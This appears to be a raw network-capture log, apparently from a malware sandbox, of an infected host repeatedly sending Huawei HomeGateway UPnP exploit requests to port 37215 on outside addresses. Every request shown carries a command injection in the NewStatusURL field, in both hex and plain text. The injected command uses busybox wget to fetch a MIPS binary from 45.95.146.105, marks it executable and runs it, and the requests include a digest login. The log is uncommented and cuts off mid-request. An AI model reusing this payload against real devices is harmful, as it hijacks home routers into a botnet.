Jan 1, 2024 12:53:21.832907915 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:26.012631893 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:32.156528950 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:44.188599110 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:09.276592016 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:58.428663015 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	49034	156.241.92.88	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:22.862694025 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:27.036596060 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:33.180505991 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:45.212578058 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 